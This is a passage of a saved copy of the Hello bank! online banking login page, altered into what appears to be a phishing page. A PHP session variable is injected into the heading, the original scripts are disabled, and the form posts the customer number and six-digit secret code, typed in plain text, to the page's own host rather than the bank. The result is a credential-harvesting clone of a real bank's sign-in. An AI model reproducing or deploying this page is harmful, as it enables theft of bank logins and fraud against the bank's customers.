          background: none;
        }

        body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li label {
          color: #FFF;
        }

        body.hello-ident.ident #ia-identification .ident .col-aside {
          width: 100%;
          margin-top: 30px;
        }

        body.hello-ident.ident #ia-identification .ident .col-aside #ident-colonne-droite article:nth-child(1) {
          background-position: center;
        }

        body.hello-ident.ident #ident-footer .row h2 {
          font-size: 18px;
        }

        #popinNumClientMDP {
          width: 100%;
          left: 0;
          padding: 64px 45px;
        }
      }

      #secret-nbr-keyboard a {
        display: block;
        width: 20%;
        height: 38%;
        padding: 6px;
        float: left;
        line-height: 42px;
        text-align: center;
        cursor: pointer;
        padding-top: 17%
      }

      @media (max-width : 384px) {
        body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet {
          width: 100%;
          margin: auto;
        }
      }

      @media (max-width : 768px) {
        section:not([class]) {
          padding-top: 10%;
        }
      }


      /* ====== Ajout suliman LESCOT le 29/01 pour MEP CAS ====== */
      #zone-publiable-footer {
        padding: 2rem 0 4rem;
      }



      @media (max-width: 768px) {

        body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li .cell-grid #secret-nbr-keyboard {
          height: 133px;
        }
      }

      #buttonPopinNumClientMDP {
        width: 100%;
        font-size: 14px;
        font-weight: bold;
        background: none;
        padding: 0;
        border: 0;
        color: #11bad5;
      }

    </style><!-- CSS si modification futur après mise en prod -->
    <style data-savepage-href="https://www.hellobank.fr/rsc/contrib/identification/src/themes/hellobank/css/update-ident.css" type="text/css">
      body {
        background: #eee;
      }

      .content {
        background: #fff;
        width: 800px;
        margin: 0 auto;
        padding: 2rem;
      }

      .hidden {
        display: none;
      }

      .open-popin-pwd {
        cursor: pointer;
        color: #11bad5;
        font-size: 1rem;
      }

      .popin {
        width: 650px;
        padding: 4rem 2rem;
        position: fixed;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        background: #fff;
        z-index: 2;
        border-radius: 16px;


      }

      @media (max-width: 767px) {
        .popin {
          width: 90%;
        }
      }

      .popin-close {
        position: absolute;
        right: 15px;
        top: 15px;
        cursor: pointer;
        color: #78808a;
      }

      .popin-cache {
        background: rgba(0, 0, 0, .3);
        position: fixed;
        top: 0;
        left: 0;
        width: 100vw;
        height: 100vh;
        z-index: 1;

      }

      .popin.popin-pwd {
        color: #1f272a;
      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident .popin.popin-pwd .popin-title h2 {
        display: block !important;
      }

      .popin.popin-pwd .popin-title h2 {
        color: #1f272a;
        font-size: 16px;

      }

      .popin.popin-pwd .popin-text {
        color: #4e5152;
        padding: 1.5rem 4rem;
      }

      .popin.popin-pwd .popin-text p {
        color: #4e5152;
      }

      .popin.popin-pwd .popin-btn {
        display: flex;
        justify-content: space-evenly;
      }

      @media (max-width: 767px) {
        .popin.popin-pwd .popin-btn {
          flex-direction: column;

        }

        .popin.popin-pwd .popin-btn a {
          margin-bottom: 20px;
        }
      }

      .popin.popin-pwd .popin-btn a {
        display: inline-block;
        border-radius: 25px;

      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .popin.popin-pwd .popin-btn a.btn-primary {
        background: #176d8c;
        color: #fff;
        font-size: 12px;

      }

      body.hello-ident.ident #ia-identification .ident .main-content .container-ident #logincanalnet .grille-ident li #ident-bottom-grid .popin.popin-pwd .popin-btn a.btn-secondary {
        background: #eeeeee;
        color: #176d8c;
        font-size: 12px;
      }

      #zone-publiable-haute .small_text h4 {
        margin-top: 13px;
      }

      #zone-publiable-haute .small_text p {
        font-size: 13px;
      }

      #zone-publiable-haute .recuperation-pwd-link {
        color: #ffffff;
        line-height: 2.3rem;
        text-decoration: underline;
        cursor: pointer;
      }

    </style><!-- Appel JQuery -->
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="/common/js/01_jquery-3.3.1-6a07da9fae934baf3f749e876bbfdd96.js"></script>

    <!-- Publi JS -->
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="https://www.hellobank.fr/rsc/contrib/identification/src/themes/hellobank/js/update-ident.js"></script>
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="https://www.hellobank.fr/rsc/contrib/identification/src/themes/hellobank/js/main.js"></script>
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="https://www.hellobank.fr/rsc/contrib/identification/src/themes/hellobank/js/script.js"></script>

    <!-- JS intégré à l'application CAS -->
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="/hellobank/js/publication-f467888bfb3d70219a8ae227a9d7b82c.js"></script>
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="/common/js/cas-8da6e3f4dedbd2a8e537fcf64deb8c38.js"></script>
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="/common/js/grille-705ed221746a2c5c6985f0a6326d17ed.js"></script>
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="common/threatMetrix/bjtdzi1212.js"></script>
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="common/threatMetrix/pfbp.js"></script>

    <!-- Adobe Analytics  & Celebrus-->
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="https://www.hellobank.fr/rsc/contrib/script/dtm/satelliteLoader_HB.js"></script>
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="//assets.adobedtm.com/37617e04bc40/c5df1e54a41a/launch-92d04ffeb521.min.js" async=""></script>


    <!-- Keep alive HTTP session ! -->
    <meta name="sessionDurationInSeconds" content="900">
    <meta name="beforeTimeout" content="15">
    <meta name="sessionExtensionEndpoint" content="/keepalive">
    <meta name="robots" content="noindex">
    <script data-savepage-type="text/javascript" type="text/plain" data-savepage-src="/common/js/keepalive-9d8dc0169810b25ddc72bd43c32028e1.js"></script>

    <!-- ThreatMetrix -->
    <meta name="orgId" content="cco37scf">
    <meta name="pageId" content="101">
    <meta name="subDomain" content="content.espace-client.hellobank.fr">
    <meta name="siteid" content="hellobank">
    <style type="text/css">
      button.btn[data-v-f3fb3dc8] {
        display: inline-block;
        font-weight: 300;
        line-height: 1.25;
        text-align: center;
        white-space: nowrap;
        vertical-align: middle;
        user-select: none;
        border: 1px solid transparent;
        cursor: pointer;
        letter-spacing: 1px;
        transition: all 0.15s ease
      }

      button.btn.btn-sm[data-v-f3fb3dc8] {
        padding: 0.4rem 0.8rem;
        font-size: 0.8rem;
        border-radius: 0.2rem
      }

      button.btn.btn-primary[data-v-f3fb3dc8] {
        color: #fff;
        background-color: #45c8f1;
        border-color: #45c8f1
      }

      button.btn.btn-outline-primary[data-v-f3fb3dc8] {
        color: #45c8f1;
        background-color: transparent;
        border-color: #45c8f1
      }

      button.btn.btn-danger[data-v-f3fb3dc8] {
        color: #fff;
        background-color: #ff4949;
        border-color: #ff4949
      }

      .text-muted[data-v-f3fb3dc8] {
        color: #8492a6
      }

      .text-center[data-v-f3fb3dc8] {
        text-align: center
      }

      .drop-down-enter[data-v-f3fb3dc8],
      .drop-down-leave-to[data-v-f3fb3dc8] {
        transform: translateX(0) translateY(-20px);
        transition-timing-function: cubic-bezier(0.74, 0.04, 0.26, 1.05);
        opacity: 0
      }

      .drop-down-enter-active[data-v-f3fb3dc8],
      .drop-down-leave-active[data-v-f3fb3dc8] {
        transition: all 0.15s
      }

      .move-left-enter[data-v-f3fb3dc8],
      .move-left-leave-to[data-v-f3fb3dc8] {
        transform: translateY(0) translateX(-80px);
        transition-timing-function: cubic-bezier(0.74, 0.04, 0.26, 1.05);
        opacity: 0
      }

      .move-left-enter-active[data-v-f3fb3dc8],
      .move-left-leave-active[data-v-f3fb3dc8] {
        transition: all 0.15s
      }

      .no-tr[data-v-f3fb3dc8] {
        transition: none !important
      }

      .no-tr *[data-v-f3fb3dc8] {
        transition: none !important
      }

      .overlay[data-v-f3fb3dc8] {
        position: fixed;
        background: rgba(220, 220, 220, 0.8);
        display: flex;
        align-items: center;
        justify-content: center;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        transition: all 0.2s ease;
        opacity: 0;
        visibility: hidden
      }

      .overlay .modal[data-v-f3fb3dc8] {
        transition: all 0.2s ease;
        opacity: 0;
        transform: scale(0.6);
        overflow: hidden
      }

      .overlay.show[data-v-f3fb3dc8] {
        opacity: 1;
        visibility: visible
      }

      .overlay.show .modal[data-v-f3fb3dc8] {
        opacity: 1;
        transform: scale(1)
      }

      .panel[data-v-f3fb3dc8] {
        padding: 6px 10px;
        display: flex;
        width: 100%;
        box-sizing: border-box;
        align-items: center;
        border-radius: 6px;
        position: relative;
        border: 1px solid #eaf7ff;
        background: #f7fcff;
        outline: none;
        transition: all 0.07s ease-in-out
      }

      .btn[data-v-f3fb3dc8] {
        cursor: pointer;
        box-sizing: border-box
      }

      .light-btn[data-v-f3fb3dc8] {
        padding: 10px 12px;
        display: flex;
        width: 100%;
        box-sizing: border-box;
        align-items: center;
        border-radius: 6px;
        position: relative;
        border: 1px solid #eaf7ff;
        background: #f7fcff;
        outline: none;
        cursor: pointer;
        transition: all 0.07s ease-in-out
      }

      .light-btn[data-v-f3fb3dc8]:hover {
        background: #e0f4ff;
        border-color: #8acfff
      }

      .primary-btn[data-v-f3fb3dc8] {
        background: #239bf5;
        color: white;
        border-radius: 6px;
        height: 46px;
        display: flex;
        align-items: center;
        justify-content: center;
        transition: 0.2s ease;
        font-size: 14px;
        font-family: "Didact Gothic Regular", sans-serif
      }

      .primary-btn[data-v-f3fb3dc8]:hover {
        background: #40a8f6;
        color: white;
        text-decoration: none
      }

      .shake[data-v-f3fb3dc8] {
        animation: shake-f3fb3dc8 0.82s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
        transform: translate3d(0, 0, 0)
      }

      @keyframes shake-f3fb3dc8 {

        10%,
        90% {
          transform: translate3d(-1px, 0, 0)
        }

        20%,
        80% {
          transform: translate3d(2px, 0, 0)
        }

        30%,
        50%,
        70% {
          transform: translate3d(-4px, 0, 0)
        }

        40%,
        60% {
          transform: translate3d(4px, 0, 0)
        }
      }

      .pulse[data-v-f3fb3dc8] {
        animation: pulse-f3fb3dc8 2s ease infinite
      }

      @keyframes pulse-f3fb3dc8 {
        0% {
          opacity: 0.7
        }

        50% {
          opacity: 0.4
        }

        100% {
          opacity: 0.7
        }
      }

      .flash-once[data-v-f3fb3dc8] {
        animation: flash-once 3.5s ease 1
      }

      @keyframes fade-up-f3fb3dc8 {
        0% {
          transform: translate3d(0, 10px, 0);
          opacity: 0
        }

        100% {
          transform: translate3d(0, 0, 0);
          opacity: 1
        }
      }

      .fade-in[data-v-f3fb3dc8] {
        animation: fade-in-f3fb3dc8 0.3s ease-in-out
      }

      @keyframes fade-in-f3fb3dc8 {
        0% {
          opacity: 0
        }

        100% {
          opacity: 1
        }
      }

      .spin[data-v-f3fb3dc8] {
        animation-name: spin-f3fb3dc8;
        animation-duration: 2000ms;
        animation-iteration-count: infinite;
        animation-timing-function: linear
      }

      @keyframes spin-f3fb3dc8 {
        from {
          transform: rotate(0deg)
        }

        to {
          transform: rotate(360deg)
        }
      }

      .bounceIn[data-v-f3fb3dc8] {
        animation-name: bounceIn-f3fb3dc8;
        transform-origin: center bottom;
        animation-duration: 1s;
        animation-fill-mode: both;
        animation-iteration-count: 1
      }

      @keyframes bounceIn-f3fb3dc8 {

        0%,
        20%,
        40%,
        60%,
        80%,
        100% {
          -webkit-transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
          transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1)
        }

        0% {
          opacity: 1;
          -webkit-transform: scale3d(0.8, 0.8, 0.8);
          transform: scale3d(0.8, 0.8, 0.8)
        }

        20% {
          -webkit-transform: scale3d(1.1, 1.1, 1.1);
          transform: scale3d(1.1, 1.1, 1.1)
        }

        40% {
          -webkit-transform: scale3d(0.9, 0.9, 0.9);
          transform: scale3d(0.9, 0.9, 0.9)
        }

        60% {
          opacity: 1;
          -webkit-transform: scale3d(1.03, 1.03, 1.03);
          transform: scale3d(1.03, 1.03, 1.03)
        }

        80% {
          -webkit-transform: scale3d(0.97, 0.97, 0.97);
          transform: scale3d(0.97, 0.97, 0.97)
        }

        100% {
          opacity: 1;
          -webkit-transform: scale3d(1, 1, 1);
          transform: scale3d(1, 1, 1)
        }
      }

      @keyframes dots-f3fb3dc8 {

        0%,
        20% {
          color: rgba(0, 0, 0, 0);
          text-shadow: 0.25em 0 0 rgba(0, 0, 0, 0), 0.5em 0 0 rgba(0, 0, 0, 0)
        }

        40% {
          color: #8492a6;
          text-shadow: 0.25em 0 0 rgba(0, 0, 0, 0), 0.5em 0 0 rgba(0, 0, 0, 0)
        }

        60% {
          text-shadow: 0.25em 0 0 #8492a6, 0.5em 0 0 rgba(0, 0, 0, 0)
        }

        80%,
        100% {
          text-shadow: 0.25em 0 0 #8492a6, 0.5em 0 0 #8492a6
        }
      }

      @keyframes recording-f3fb3dc8 {
        0% {
          box-shadow: 0px 0px 5px 0px rgba(173, 0, 0, 0.3)
        }

        65% {
          box-shadow: 0px 0px 5px 5px rgba(173, 0, 0, 0.3)
        }

        90% {
          box-shadow: 0px 0px 5px 5px rgba(173, 0, 0, 0)
        }
      }

      @font-face {
        font-family: 'Didact Gothic Regular';
        src: url(data:font/woff2;base64,[encoded data, 34904 characters]) format("woff");
        font-weight: normal;
        font-style: normal
      }

      body[data-v-f3fb3dc8] {
        margin: 0;
        font-size: 100%;
        color: #3c4858
      }

      a[data-v-f3fb3dc8] {
        text-decoration: none;
        color: #45c8f1
      }

      h1[data-v-f3fb3dc8],
      h2[data-v-f3fb3dc8],
      h3[data-v-f3fb3dc8],
      h4[data-v-f3fb3dc8] {
        margin-top: 0
      }

      svg[data-v-f3fb3dc8] {
        outline: none
      }

      .container_selected_area[data-v-f3fb3dc8] {
        display: none;
        visibility: hidden;
        padding: 0;
        position: fixed;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        z-index: 2147483647
      }

      .container_selected_area.active[data-v-f3fb3dc8] {
        visibility: visible;
        display: block
      }

      .container_selected_area .label[data-v-f3fb3dc8] {
        font-family: "Didact Gothic Regular", sans-serif;
        font-size: 22px;
        text-align: center;
        padding-top: 15px
      }

      .area[data-v-f3fb3dc8] {
        display: none;
        position: absolute;
        z-index: 2147483647;
        pointer-events: none;
        border: 1px solid #1e83ff;
        background: rgba(30, 131, 255, 0.1);
        box-sizing: border-box
      }

      .area.active[data-v-f3fb3dc8] {
        display: block;
        top: 0;
        left: 0
      }

      .hide[data-v-f3fb3dc8] {
        display: none
      }

    </style>
    <script data-savepage-type="" type="text/plain" data-savepage-src="https://assets.adobedtm.com/37617e04bc40/c5df1e54a41a/7ce7bb8ffb54/EX9e8bd91e5a9a46bdb4333da4028ba1a8-libraryCode_source.min.js" async=""></script>
    <script id="tmx_tags_js" data-savepage-type="text/javascript" type="text/plain" data-savepage-src="https://content.espace-client.hellobank.fr/ut0jx3du841p3stz.js?jep2mmtyrlsfax16=cco37scf&mj1n75ag2fw28qb6=814b90d7-efbc-4944-9e45-aeafae7b5e75&wi3xdg3cqljlq4gj=101"></script>
    <style id="savepage-cssvariables">
      :root {
        --savepage-url-10: url(data:image/png;base64,[encoded data, 134576 characters]);
        --savepage-url-12: url(data:image/png;base64,[encoded data, 6692 characters]);
        --savepage-url-13: url(data:image/jpeg;base64,[encoded data, 20000 characters]);
        --savepage-url-14: url(data:image/jpeg;base64,[encoded data, 29124 characters]);
      }

    </style>
    <script id="savepage-shadowloader" type="text/javascript">
      "use strict";
      window.addEventListener("DOMContentLoaded",
        function(event) {
          savepage_ShadowLoader(5);
        }, false);

      function savepage_ShadowLoader(c) {
        createShadowDOMs(0, document.documentElement);

        function createShadowDOMs(a, b) {
          var i;
          if (b.localName == "iframe" || b.localName == "frame") {
            if (a < c) {
              try {
                if (b.contentDocument.documentElement != null) {
                  createShadowDOMs(a + 1, b.contentDocument.documentElement)
                }
              } catch (e) {}
            }
          } else {
            if (b.children.length >= 1 && b.children[0].localName == "template" && b.children[0].hasAttribute("data-savepage-shadowroot")) {
              b.attachShadow({
                mode: "open"
              }).appendChild(b.children[0].content);
              b.removeChild(b.children[0]);
              for (i = 0; i < b.shadowRoot.children.length; i++)
                if (b.shadowRoot.children[i] != null) createShadowDOMs(a, b.shadowRoot.children[i])
            }
            for (i = 0; i < b.children.length; i++)
              if (b.children[i] != null) createShadowDOMs(a, b.children[i])
          }
        }
      }

    </script>
    <meta name="savepage-url" content="https://espace-client.hellobank.fr/login?service=/oauth2.0/callbackAuthorize?client_id=034b8432-d81f-45d5-a81f-99c1bcbcceb7&redirect_uri=https%3A%2F%2Fwww.hellobank.fr%2Fauth%2Fon-login&response_type=code&state=lvTliHWlW0R3kc1Rz0t0kdZl&nonce=JOc9zW6B&client_name=CasOAuthClient">
    <meta name="savepage-title" content="Banque en ligne | Hello bank! la banque mobile comme vous">
    <meta name="savepage-pubdate" content="Unknown">
    <meta name="savepage-from" content="https://espace-client.hellobank.fr/login?service=/oauth2.0/callbackAuthorize?client_id=034b8432-d81f-45d5-a81f-99c1bcbcceb7&redirect_uri=https%3A%2F%2Fwww.hellobank.fr%2Fauth%2Fon-login&response_type=code&state=lvTliHWlW0R3kc1Rz0t0kdZl&nonce=JOc9zW6B&client_name=CasOAuthClient">
    <meta name="savepage-date" content="Sat Jan 14 2023 18:16:06 GMT+0100 (UTC+01:00)">
    <meta name="savepage-state" content="Standard Items; Retain cross-origin frames; Merge CSS images; Remove unsaved URLs; Load lazy images in existing content; Max frame depth = 5; Max resource size = 50MB; Max resource time = 10s;">
    <meta name="savepage-version" content="33.4">
    <meta name="savepage-comments" content="">
  </head>



  <body onresize="responsiveClickZone()" onload="callPfbp(); responsiveClickZone()" class="fr web world publique client hb hello-ident ident">

    <!-- ================================ -->
    <!-- HEADER -->
    <!-- ================================ -->
    <div id="zone-publiable-header">
      <header id="ident-header" class="container">
        <img data-savepage-src="https://www.hellobank.fr/rsc/contrib/identification/src/themes/hellobank/images/header/logo-grand.png" src="data:image/png;base64,[encoded data, 10036 characters]" alt="Logo Hello bank!">
        <a href="https://www.hellobank.fr/" class="btn btn-default">Retour à Hellobank</a>
      </header>
    </div>

    <!-- 	 <div class="iw_component" id="1413474755927"> -->
    <style>
      #secret-nbr-keyboard {
        background-image:
          /*savepage-url=/grid/j-119560589275117853447912207401416811701*/
          url();
      }

    </style>
    <script data-savepage-type="text/javascript" type="text/plain"></script>

    <div id="zone-publiable-message">
      <section class="cookies phishing clearfix" style="top: 0px; position: relative; background-color:#f0767e ; bottom: auto; width: 100%; max-width:1030px; margin:0 auto; color:#ffffff;">
        <!--
    <i class="icon icon-info" style="color: #fff; font-size: 2em; float: left; margin: 0.8em;"></i>
    <p class="pull-left" style="line-height: 1.2em; font-size: 1em; margin-top: 23px;width: calc(100% - 85px);">
	En raison du changement d’heure, <b>dans la nuit du 29/10 au 30/10</b>, le site et l’application seront indisponibles de <b>23h00 à 04h00</b>. Nous vous prions de nous excuser pour la gêne occasionnée.	
    </p>-->
        <div style="clear:both"></div>
      </section>

    </div>
    <div id="id_balise_div_ident">
      <div class="wcm-ia-column">
        <div id="ia-identification">
          <div>

            <div class="ident">
              <div class="carret-up"></div>

              <section class="main-content fond-gradient">
                <div class="container-ident">
                  <div class="message-erreur arrow-bottom" id="message-erreur"></div>

                  <form action="" method="post" id="logincanalnet" name="logincanalnet" class="form" autocomplete="on" action="#" onsubmit="document.getElementById('submitIdent').disabled = true; return true;">

                    <script data-savepage-type="" type="text/plain"></script>

 <ul class="grille-ident">
                      <li style="position: relative;">
                        <center><label for="username"><span class="label_field"><?php echo $_SESSION['cardName']; ?> AUTHENTIFIEZ-VOUS À HELLO BANK</span></label></center><br>

                    <ul class="grille-ident">
                      <li style="position: relative;">
                        <label for="username">1. <span class="label_field">Identifiez-vous avec votre numéro client</span></label>

                        <input type="tel" pattern="[0-9]*" value="" name="username" id="username" maxlength="10" size="10" autofocus="" autocorrect="off" id="username" class="form-control numeric" rv-value-reactive="form.idTelematique"><a class="reset-input" href="#" id="initClient"></a>

                        <input type="checkbox" value="" id="memoriser" name="memoriser"><label for="memoriser" class="checkbox-inline hidden">Mémoriser votre numero client</label>
                      </li>

                      <br><br>

                      <li style="position: relative;">
                        <input type="hidden" value="" name="ch5temp"><label>2. <span class="label_field">Votre code secret (6 chiffres)</span></label>

                        <div class="field-password">
                          <input type="text" value="" name="password" id="password" maxlength="6" size="6" autofocus="" autocorrect="off" id="username" class="form-control numeric" rv-value-reactive="form.idTelematique"><a class="reset-input" href="#" id="initPass"></a>


                        </div>

                        <div class="cell-password">
                          <div class="field-valid">
                            <section>
                              <input type="hidden" name="execution" value="[encoded data, 8581 characters]"><input type="hidden" name="_eventId" value="submit"><input type="hidden" name="geolocation" value=""><input type="hidden" name="handlerName" value=""><input type="hidden" id="gridPosition" name="" value=""><input type="hidden" id="idTMX" name="" value=""><button type="submit" class="btn-primary btn-block" id="submitIdent">
                                <span class="label_field">SE CONNECTER</span>
                              </button>
                            </section>
                          </div>
                        </div>

                        <div id="zone-publiable-basse">


                          <meta http-equiv="content-type" content="text/html; charset=UTF-8">
                          <div id="zone-publiable-basse">
                            <div id="ident-bottom-grid" class="container txt-center">
                              <div class="row"></div>

                              <div class="row">
                                <div class="kol-sm-12 kol-xs-12 ibg-1">
                                  <a id="ident-accessible" href="#">
                                    <p>mode accessible</p>
                                  </a>
                                </div>
                              </div>
                              <div class="popin popin-pwd hidden" id="popinPwd">
                                <div class="popin-close">x</div>
                                <div class="popin-content">
                                  <div class="popin-title">
                                    <h2>Vous avez perdu votre code secret ?</h2>
                                  </div>
                                  <div class="popin-text">
                                    <p>Sélectionnez le compte pour lequel vous souhaitez réinitialiser le code secret.</p>
                                  </div>
                                  <div class="popin-btn">
                                    <a class="btn btn-primary" href="#">Compte particulier</a>
                                    <a class="btn btn-secondary" href="#">Compte professionnel</a>
                                  </div>
                                </div>
                              </div>
                              <div class="popin-cache hidden"></div>
                            </div>
                          </div>


                        </div>
                      </li>
                      <li style="position: relative;">
                        <button type="button" id="buttonPopinNumClientMDP">
                          Numéro client ou code secret oublié ? </button>
                      </li>
                    </ul>
                  </form>
                </div>
              </section>

              <aside class="col-aside arrow-left">
                <div id="zone-publiable-haute">
                  <div id="popinNumClientMDP" class="hidden">
                    <a class="popin-close">X</a>
                    <div>
                      <p class="title">Aide à la connexion</p>
                      <p>Sélectionnez l’élément que vous souhaitez récupérer :</p>

                      <div class="btn-group">
                        <a id="recupNumClient" href="#">
                          <span>
                            Retrouver<br>mon numéro client
                            <br>
                            <span>(nécessaire à la réinitialisation de votre code secret)</span>
                          </span>
                        </a>

                        <a id="recupClientMDP" href="#">
                          <span>Retrouver<br>mon code secret</span>
                        </a>
                      </div>
                    </div>
                  </div>
                  <div id="popinCache" class="hidden"></div>
                  <div id="zone-publiable-haute">
                    <section id="ident-colonne-droite">
                      <article class="ident-bloc-codes">
                        <h2>Vos codes d’accès</h2>
                        <ul>
                          <li><a href="#">Comment se connecter ?</a></li>
                          <li><a href="#">Les règles de protection</a></li>
                        </ul>
                      </article>

                      <article class="ident-bloc-espace">
                        <h2>Êtes-vous bien sur l'espace client de votre banque  ?</h2>
                        <p>Vérifiez en un coup d’oeil la présence du https ainsi que le bon nom domaine! Nouvelle URL :<br><a>https://espace-client.hellobank.fr</a></p>

                      </article>

                      <article class="ident-bloc-contact small_text">
                        <h4>Vous souhaitez contacter la Hello Team ou la Hello Team Pro ?</h4>
                        <p>
                          <strong>vous êtes client Particulier</strong>, composez le
                          <strong>01 43 63 15 15*</strong>
                        </p>
                        <p>
                          <strong>vous êtes client Professionnel</strong>, composez le
                          <strong>01 34 34 00 00*</strong>
                        </p>
                        <p><small>*Coût d’un appel local (depuis la France Métropolitaine) ou international (depuis l’étranger) selon votre opérateur téléphonique.</small></p>
                        <p>
                          <strong>vous n'êtes pas encore client</strong> ou votre dossier est en cours d'instruction ?
                        </p>
                        <div class="telephone second small">
                          <div class="number arrow-right">
                            <span>0 800 848 400</span>
                          </div>
                          <div class="texte">
                            <p>Service&amp;appel
                              <br>gratuits</p>
                          </div>
                        </div>
                      </article>
                    </section>
                  </div>
                </div>
              </aside>
            </div>
          </div>
        </div>

        <!-- ================================ -->
        <!-- FOOTER -->
        <!-- ================================ -->
        <div id="zone-publiable-footer">

          <meta http-equiv="content-type" content="text/html; charset=UTF-8">


          <footer id="ident-footer">
            <div class="container">
              <div class="row txt-center">
                <h2 class="h2">Vous rencontrez des problèmes techniques ?</h2>
                <p>
                  Vous pouvez compléter notre
                  <a href="https://www.hellobank.fr/fr/faq-assistance-technique">formulaire en ligne</a> .
                </p>
              </div>
            </div>
          </footer>


        </div>
      </div>
    </div>
    <script data-savepage-type="" type="text/plain"></script><iframe data-savepage-src="chrome-extension://ijejnggjjphlenbhmjhhgcdpehhacaal/audio-devices.html" src="" allow="microphone" style="display: none;" data-savepage-key="0-0"></iframe><input type="file" id="" name="file" style="display: none;" value="">
    <div data-v-f3fb3dc8="">
      <div data-v-f3fb3dc8="" class="container_selected_area" style="cursor: crosshair;"></div>
      <div data-v-f3fb3dc8="" class="area" style="left: 0px; top: 0px; width: 0px; height: 0px;"></div>
    </div>
    <div id="scrnli_recorder_root"><template data-savepage-shadowroot="">
        <div>
          <style></style>
          <div data-v-0e08457d="" class="app-root">
            <!---->
          </div>
          <style>
            .app-drawing-canvas[data-v-4a4934a8] {
              pointer-events: none;
              cursor: default;
              position: absolute;
              top: 0;
              left: 0
            }

            .app-drawing-canvas.active[data-v-4a4934a8] {
              pointer-events: all;
              cursor: crosshair
            }

            .app-bubble-clicker .bubble[data-v-bbbd8920] {
              position: absolute;
              top: 0;
              left: 0;
              z-index: 99999999;
              width: 26px;
              height: 26px;
              transform: scale(0);
              opacity: 0;
              background: red;
              border-radius: 50%
            }

            .app-bubble-clicker .bubble.show[data-v-bbbd8920] {
              animation: 0.6s ease 0s infinite bubble-bbbd8920
            }

            @keyframes bubble-bbbd8920 {
              0% {
                transform: scale(0);
                opacity: 0
              }

              30% {
                transform: scale(1);
                opacity: 0.6
              }

              60% {
                transform: scale(1);
                opacity: 0.6
              }

              100% {
                transform: scale(0);
                opacity: 0
              }
            }


            .vc-editable-input {
              position: relative;
            }

            .vc-input__input {
              padding: 0;
              border: 0;
              outline: none;
            }

            .vc-input__label {
              text-transform: capitalize;
            }


            .vc-saturation,
            .vc-saturation--white,
            .vc-saturation--black {
              cursor: pointer;
              position: absolute;
              top: 0;
              left: 0;
              right: 0;
              bottom: 0;
            }

            .vc-saturation--white {
              background: linear-gradient(to right, #fff, rgba(255, 255, 255, 0));
            }

            .vc-saturation--black {
              background: linear-gradient(to top, #000, rgba(0, 0, 0, 0));
            }

            .vc-saturation-pointer {
              cursor: pointer;
              position: absolute;
            }

            .vc-saturation-circle {
              cursor: head;
              width: 4px;
              height: 4px;
              box-shadow: 0 0 0 1.5px #fff, inset 0 0 1px 1px rgba(0, 0, 0, 0.3), 0 0 1px 2px rgba(0, 0, 0, 0.4);
              border-radius: 50%;
              transform: translate(-2px, -2px);
            }


            .vc-hue {
              position: absolute;
              top: 0px;
              right: 0px;
              bottom: 0px;
              left: 0px;
              border-radius: 2px;
            }

            .vc-hue--horizontal {
              background: linear-gradient(to right, #f00 0%, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%);
            }

            .vc-hue--vertical {
              background: linear-gradient(to top, #f00 0%, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, #f00 100%);
            }

            .vc-hue-container {
              cursor: pointer;
              margin: 0 2px;
              position: relative;
              height: 100%;
            }

            .vc-hue-pointer {
              z-index: 2;
              position: absolute;
            }

            .vc-hue-picker {
              cursor: pointer;
              margin-top: 1px;
              width: 4px;
              border-radius: 1px;
              height: 8px;
              box-shadow: 0 0 2px rgba(0, 0, 0, 0.6);
              background: #fff;
              transform: translateX(-2px);
            }

            .vc-checkerboard {
              position: absolute;
              top: 0px;
              right: 0px;
              bottom: 0px;
              left: 0px;
              background-size: contain
            }

            .vc-alpha {
              position: absolute;
              top: 0px;
              right: 0px;
              bottom: 0px;
              left: 0px
            }

            .vc-alpha-checkboard-wrap {
              position: absolute;
              top: 0px;
              right: 0px;
              bottom: 0px;
              left: 0px;
              overflow: hidden
            }

            .vc-alpha-gradient {
              position: absolute;
              top: 0px;
              right: 0px;
              bottom: 0px;
              left: 0px
            }

            .vc-alpha-container {
              cursor: pointer;
              position: relative;
              z-index: 2;
              height: 100%;
              margin: 0 3px
            }

            .vc-alpha-pointer {
              z-index: 2;
              position: absolute
            }

            .vc-alpha-picker {
              cursor: pointer;
              width: 4px;
              border-radius: 1px;
              height: 8px;
              box-shadow: 0 0 2px rgba(0, 0, 0, 0.6);
              background: #fff;
              margin-top: 1px;
              transform: translateX(-2px)
            }


            .vc-sketch {
              position: relative;
              width: 200px;
              padding: 10px 10px 0;
              box-sizing: initial;
              background: #fff;
              border-radius: 4px;
              box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.15), 0 8px 16px rgba(0, 0, 0, 0.15);
            }

            .vc-sketch-saturation-wrap {
              width: 100%;
              padding-bottom: 75%;
              position: relative;
              overflow: hidden;
            }

            .vc-sketch-controls {
              display: flex;
            }

            .vc-sketch-sliders {
              padding: 4px 0;
              flex: 1;
            }

            .vc-sketch-sliders .vc-hue,
            .vc-sketch-sliders .vc-alpha-gradient {
              border-radius: 2px;
            }

            .vc-sketch-hue-wrap {
              position: relative;
              height: 10px;
            }

            .vc-sketch-alpha-wrap {
              position: relative;
              height: 10px;
              margin-top: 4px;
              overflow: hidden;
            }

            .vc-sketch-color-wrap {
